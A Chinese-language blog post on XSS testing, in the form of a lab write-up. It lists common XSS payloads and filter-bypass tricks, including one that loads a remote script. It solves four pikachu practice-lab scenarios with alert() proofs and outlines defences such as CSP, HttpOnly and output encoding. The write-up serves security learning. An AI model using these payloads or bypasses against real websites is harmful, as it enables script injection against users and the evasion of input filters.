首页 > 其他分享 >Web漏洞-XSS绕过和pikachu靶场4个场景(三)

Web漏洞-XSS绕过和pikachu靶场4个场景(三)

时间:2023-12-02 23:13:02浏览次数:47  
标签:XSS Web 标签 pikachu alert 源码 xss poc

★★实战前置声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、XSS漏洞挖掘与绕过

1.1、XSS漏洞挖掘

数据交互(输入/输出)的地方最容易产生跨站脚本,最重要的是考虑输入、输出在什么地方。一般常会对网站的输入框、URL参数、COOKIE、POST表单、HTTP头内容进行测试。

1.2、手工测试XSS步骤

1、找到测试点,比如搜索框、留言板。

2、根据测试流程首先实验一些特殊符号的输入,发现可以正常输出,说明后端并没有进行相关的过滤。比如:'<>?"&/6666

3、如果有过滤则进行相关的绕过。

1.3、XSS常见POC

常见XSS语句<script>标签

<script>alert(1)</script>
<script src=http://baidu.cn/xss/xss.js></script>
'><script>alert(1)</script>

常见XSS语句<img>标签

<img src=x one rror=alert(/xss/)>
<img src=javascript:alert(1)> //版本,E7.0|IE6.0,才能执行  
<img src=# onm ouseover="alert(1)">

常见XSS语句<a>标签

"> <a href=javascript:alert('xss') > xss</a>
"> <a href="" onclick="alert(1)"> xss</a>

1.4、XSS漏洞绕过方法

// 1.大小写绕过
<ScRiPt>alert(1)</ScRiPt>
// 2.双写绕过
<sc<script>ript>alert(/xss/)</script>
// 3.反引号绕过
`` 绕过单双引号的过滤
// 4.关闭标签(利用<>关闭标签)
"> <script>alert(1)</script>
// 5.超链接标签
< a href= > 1 </ a>
// 6.图片链接绕过
< img src=1 one rror=alert(1)>
// 7.编码绕过
-- 八进制、十进制、十六进制编码、html实体编码、url编码、base64等   
// 8.空格、回车、换行符、tab、混淆

2、XSS漏洞防御

2.1、CSP内容安全策略

CSP全称:Content Security Policy,内容安全策略:禁止加载外域代码,防止复杂的攻击逻辑;禁止外域提交,网站被攻击后,用户数据不会泄露到外域;禁止内联脚本执行(规则较严格);禁止未授权的脚本执行。

2.2、设置HttpOnly

通过设置HttpOnly防止cookie被窃取

2.3、输入输出检查

前端js和后端(php)完善的过滤机制:输入验证和输出编码。也可以做硬件防护:WAF和数据库安全等。

< 转成&lt;
> 转成&gt;       
& 转成&amp    
" 转成&quot
' 转成&#39

2.4、白名单或者黑名单

白名单验证:检查用户提交的数据,只接受指定长度范围内,适当格式和预期字符的输入,其余一律过滤。

黑名单验证:过滤包含XSS代码特征的内容,比如:<、 >、script、#

3、pikachu靶场4个场景实验

3.0、总体思路说明

先随便填写提交,看界面展示数据,右击查看页面源码数据是与回显一样,然后根据数据结构确定构建poc提交验证。

测试验证内容

'<>?"&/6666

3.1、xss之过滤

3.1.1、正常操作

输入'<>?"&/6666,发现显示有点奇怪,按F12看源码发现内容回显,被单引号包起来,界面显示如下:

3.1.2、查看源码

输入如下内容,按F2看源码,发现输入的内容script标签的内容全部被过滤掉了

我测试一下'<script>alert(1)</script>

3.1.3、确定攻击poc

以下是验证通过的poc

<ScRiPt>alert(1)</ScRiPt>
<svg onl oad=alert(1)>
<body onl oad=alert(1)>
<input type=image src=1 one rror=alert(1)>

3.2、xss之htmlspecialchars

3.2.1、正常操作

输入'<>?"&/6666,界面显示如下:

3.2.2、查看源码

查看源码,发现输入的内容,是填充在a标签的href和标签内,有被编码过的,href是用单引号的。

3.2.3、确定攻击poc

攻击poc就可以采用a标签弹窗方式的语句了

<a href=javascript:alert('xss') > xss</a>

注意:只取href里面的部分,且alert()的内容需要用双引号,或者用数字的方式。

验证成功的poc

javascript:alert("test")
javascript:alert(123)

3.3、xss之href输出

3.3.1、正常操作

输入'<>?"&/6666,界面显示如下:

3.3.2、查看源码

查看源码,发现输入的内容,是填充在a标签的href内,没有被编码过的。

3.3.3、确定攻击poc

攻击poc就可以采用a标签弹窗方式的语句了

<a href=javascript:alert('xss') > xss</a>

注意:只取href里面的部分,且alert()的内容用单/双引号都可,或者用数字的方式。

验证成功的poc

javascript:alert('test')
javascript:alert("test")
javascript:alert(123)

3.4、xss之js输出

3.4.1、正常操作

输入'<>?"&/6666,不显示任何东西,换成123尝试,界面显示如下:

3.4.2、查看源码

根据上面显示的内容,定位到p标签有一个id="fromjs",尝试搜索关键字:fromjs,发现页面有一段javascript代码,因此采用尝试闭合标签的方式。

3.4.3、确定攻击poc

验证成功的poc

</script><script>alert(1)</script>
</script><svg onl oad=alert(1)>
</script><img src=1 one rror=alert(1)>

4、总结

本文是Web漏洞-XSS攻击的第三篇,至此XSS攻击相关内容就告一段落。当时在做pikachu靶场实验【XSS之js输出】时完全没有头绪,前面9个实验的POC都无效,后来问了我的老师给我提示,查看源码了尝试闭合标签的方式,就瞬间明白了。有时知道一个知识点,到实际运用还是会懵,因此需要多练。与大家共勉。

后面会有CSRF、SSRF,SQL注入等内容的分享,其中SQL注入内容会比较多。还有一些PHP,Python编程的基础知识,如果大家感兴趣的话,可以留言反馈,我再整理出来分享也可以。

5、资料获取

靶场环境搭建请参考《靶场环境搭建【XP、pikachu、dvwa、sqli-labs】》

标签:XSS,Web,标签,pikachu,alert,源码,xss,poc
From: https://www.cnblogs.com/huangxiufen/p/17872427.html

相关文章

  • WebServer
    WebServer(暂未写完)​ 根据项目https://github.com/markparticle/WebServer实现的c++服务器项目。同时参考JehanRio的博客https://blog.csdn.net/weixin_51322383/article/details/130464403,十分感谢博客提供的帮助,本文用于记录学习过程以及遇到的一些问题,如有侵权请联系删除。​......
  • 关于企业级 Web 应用搜索引擎优化(Search Engine Optimization)的一些工作经验分享
    笔者之前的社区文章,分享了自己在日常工作中从事企业级Web应用开发的一些工作体会:企业级Web应用里使用CSS调整应用外观的一些例子谈谈企业级Angular应用的二次开发-基于AngularComponent替换的Extensibility支持案例介绍所谓企业级前端应用,是指为大型企业或组......
  • 企业级 Web 应用里使用 CSS 调整应用外观的一些例子
    笔者在日常工作中曾经负责过一些企业级Web应用的负责和开发,也曾经指导过一些客户的二次开发人员,通过各种方式对我们发布的企业级Web应用进行一些定制开发。所谓企业级前端应用,是指为大型企业或组织开发的前端应用,这些应用具有超过一般2C软件的技术复杂度,高度定制化和可扩展......
  • 什么是前端 Web 应用响应式页面布局里的 Breakpoint 概念
    在Web前端开发中,响应式设计是一个非常重要的概念,它允许网页UI根据不同的设备屏幕大小进行适当的调整以优化用户体验。在这种设计中,breakpoint是一个关键的概念。我们可以把breakpoint理解为屏幕宽度的一种临界点,当屏幕宽度达到这个点时,我们会调整页面布局以适应这个新的屏......
  • Web_XCTF_WriteUp | unserialize3
    题目分析根据题目指向,这题是反序列化漏洞。分析代码:classxctf{public$flag='111';//变量flag初始化为111publicfunction__wakeup(){//“__wakeup”:PHP魔术方法,在序列化后立即被调用exit('badrequests');//输出“badrequests”}?code=......
  • 探索 Web API:SpeechSynthesis 与文本语言转换技术
    一、引言随着科技的不断发展,人机交互的方式也在不断演变。语音识别和合成技术在人工智能领域中具有重要地位,它们为残障人士和日常生活中的各种场景提供了便利。WebAPI是Web应用程序接口的一种,允许开发者构建与浏览器和操作系统集成的应用程序。本文将探讨WebAPI中的Spe......
  • Web 应用显示 Icon 的几种技术盘点
    在Web前端应用开发中,渲染图标是一个常见的需求,可以通过多种技术来实现。图标在用户界面中扮演着重要的角色,提供直观的视觉反馈和更好的用户体验。以下是一些常见的前端图标渲染技术,以及它们的一些优缺点。**1.字体图标(IconFonts)字体图标是将图标作为字体文件(通常是.ttf或.o......
  • 初探webpack之单应用多端构建
    初探webpack之单应用多端构建在现代化前端开发中,我们可以借助构建工具来简化很多工作,单应用多端构建就是其中应用比较广泛的方案,webpack中提供了loader与plugin来给予开发者非常大的操作空间来操作构建过程,通过操作中间产物我们可以非常方便地实现多端构建,当然这是一种思想而不是......
  • Web 应用中显示页面字体使用的 font-based icons 技术讲解
    在前端Web应用开发中,采用字体图标(font-basedicons)的方法是一种常见的技术,它允许开发者使用字体文件来呈现图标,而不是使用传统的图像文件。这种方法的优势在于它提供了一种灵活、轻量级且易于管理的方式来集成和使用图标,同时减少了HTTP请求和提高性能。Font-basedicons的实现通......
  • 雷池 WAF(SafeLine)异常处理:Web需要绑定动态口令,系统异常崩溃
    说明问题发生在2023年12月1日,突然发现安装的雷池WAFWeb需要重新绑定动态口令,但扫描二维码无法绑定。当即检查防护站点服务正常,PVEShell访问正常。查看Issues·chaitin/SafeLine·GitHub,发现已经有人提交了Bug。[Bug]从3.13开始雷池tengine就疯狂报错了,完全不......